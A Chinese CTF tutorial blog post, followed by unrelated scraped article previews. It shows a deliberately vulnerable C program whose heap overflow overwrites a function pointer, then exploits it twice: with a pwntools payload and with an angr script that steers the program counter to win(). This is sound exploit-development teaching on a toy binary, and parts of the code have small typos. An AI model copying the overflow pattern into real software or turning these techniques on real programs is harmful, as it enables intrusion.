使用angr自动利用简单堆溢出-simple_heap_overflow

news/2024/5/19 22:26:07 标签: ctf

        题目源码如下:

#include <stdio.h>
#include <stdlib.h>

typedef void (*printFunction)();

// Contrived structure
typedef struct myStruct {
    printFunction print;
    char buf[16];
} myStruct;

// We want to get here
void win() {
    printf("Win function executed.");
}

int main() {
    // Unbuffering to make things clearer
    setbuf(stdin,0);
    setbuf(stdout,0);

    // Setup our two structs
    myStruct *a = calloc(1,sizeof(myStruct));
    myStruct *b = calloc(1,sizeof(myStruct));

    // Read in input
    printf("Input b: ");
    fgets(b->buf,64,stdin);
    b->print = printf;

    printf("Input a: ");
    fgets(a->buf,64,stdin);
    a->print = printf;

    // Print the results
    b->print("Output b: %s",b->buf);
    a->print("Output a: %s",a->buf);
}

        由于是学习angr的aeg使用,所以我们先手工分析一下程序,在去看官方给的solver。

        很明显,代码中fgets接收的数据是64字节,但结构体中的的buf数组只有16字节,且先初始化的数据块后写入输入,使得第二次输入数据时可以溢出到第一次输入数据块的函数指针保存处,只要通过溢出将其修改为win函数的地址即可。该二进制程序除了nx没启动任何安全机制,所以逆向后看到的地址就是内存加载地址。用pwntools可以很容易地解出:

p.recv()
p.sendline("B"*8)
p.recv()
payload = b"A"*24 + p64(0x400686)
p.sendline(payload)
p.interactive()

        接下来,我们一步步地用angr来解题。

        前面的代码和上一篇的缓冲区溢出一样,都是创建项目、找到未约束状态、检查该状态中的pc指针是否被完全符号化,如果完全符号化,则找到了一个可利用状态。

def main(binary):
    p = angr.Project(binary, auto_load_libs=False)
    binary_name = os.path.basename(binary)
    extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
    es = p.factory.entry_state(add_option=extras)
    sm = p.factory.simulation_manager(es, save_unconstrained=True)

    l.info("looking for vulnerability in '%s'", binary_name)
    exploitable_state = None
    while exploitable_state is None:
        sm.step()
        if len(sm.unconstrained) > 0:
            l.info("found some unconstrained states, checking exploitability")
            for u in sm.unconstrained:
                if fully_symbolic(u, u.regs.pc):
                    exploitable_state = u
                    break
            sm.drop(stash='unconstrained')
    
    l.info("found a state which looks exploitable")
    ep = exploitable_state
    assert ep.solver.symbolic(ep.regs.pc)

def fully_symbolic(state, variable):
    for i in range(state.arch.bits):
        if not state.solver.symbolic(variable[i]):
            return False
     return True

       但接下来就不一样了,上一篇是需要问shellcode找到一个放置的空间,而这里是要把pc指针替换成win函数地址。

ep.add_constraints(ep.regs.rip == p.loader.find_symbol('win').rebased_addr
assert ep.satisfiable()
print(ep.posix.dumps(0))

        如上所示,其实就是增加一个条件,让可利用状态中的rip等于win函数地址即可。


http://www.niftyadmin.cn/n/5164921.html

相关文章

如何实现Debian工控电脑USB接口安全管控

Debian 作为工控电脑操作系统具有稳定性、安全性、自定义性和丰富的软件包等优势&#xff0c;适用于要求高度可靠性和安全性的工控应用。 Debian 作为工控电脑操作系统在工业控制领域有很大优势&#xff0c;包括&#xff1a; 稳定性&#xff1a;Debian 的发布版以其稳定性而闻…

跨境电商API接口如何通过API数据接口进行选品

一、了解API及其重要性 API&#xff0c;即应用程序接口&#xff0c;是一种提供给开发者使用的工具&#xff0c;使他们能够通过编程方式访问和操作另一个应用程序的功能。在跨境电商领域&#xff0c;API通常被用于连接电商平台、支付系统、物流服务等&#xff0c;以实现数据的共…

MySQL数据库入门到大牛_05_排序ORDER BY与分页LIMIT

文章目录 1. 排序数据1.1 排序规则1.2 单列排序1.3 多列排序 2. 分页2.1 背景2.2 实现规则2.3 拓展 3. 第五章练习 1. 排序数据 1.1 排序规则 如果没有使用排序操作&#xff0c;默认情况下&#xff0c;查询返回的数据是按照添加数据的顺序显示。例如&#xff1a;在淘宝中可以…

K8S篇之etcd数据备份与恢复

一、etcd备份与恢复 基本了解&#xff1a; 1、k8s 使用etcd数据库实时存储集群中的数据&#xff0c;安全起见&#xff0c;一定要备份。 2、备份只需要在一个节点上备份就可以了&#xff0c;每个节点上的数据是同步的&#xff1b;但是数据恢复是需要在每个节点上进行。 3、etcd…

CI/CD简介

CI/CD简介 1、CI/CD流水线2、什么是CI/CD3、CI/CD的优点4、CI/CD的工作原理5、CI/CD流水线工具6、CI/CD的应用7、CI/CD的未来趋势 1、CI/CD流水线 从最初的瀑布模型&#xff0c;到后来的敏捷开发&#xff0c;再到今天的DevOps&#xff0c;这是现代开发人员构建出色产品的技术路…

GSCoolink GSV2201S DisplayPort 1.4转HDMI 2.0

Gscoolink GSV2201S是一款高性能、低功耗、USB Type-C交替模式显示端口1.4到HDMI 2.0转换器。通过集成增强型微控制器和闪存&#xff0c;GSV2201S创造了一种具有成本效益的解决方案&#xff0c;提供了上市时间优势。DisplayPort接收器支持高达16.2Gbps&#xff08;HBR3&#xf…

Centos7安装宝塔面板8.0.3并实现公网远程登录宝塔面板【内网穿透】

Centos7安装宝塔面板8.0.3并实现公网远程登录宝塔面板【内网穿透】 文章目录 Centos7安装宝塔面板8.0.3并实现公网远程登录宝塔面板【内网穿透】一、使用官网一键安装命令安装宝塔二、简单配置宝塔&#xff0c;内网穿透三、使用固定公网地址访问宝塔 宝塔面板作为建站运维工具&…

QT事件循环和事件队列的理解

Qt的事件循环机制_qt事件循环流程-CSDN博客 QT-事件循环机制_qt线程事件循环-CSDN博客 一、事件处理流程如图所示&#xff1a; 1.QCoreApplication::postEvent(QObject *receiver,QEvent *event)&#xff1a; QCoreApplication::postEvent()函数用于将事件异步地发送到目标对…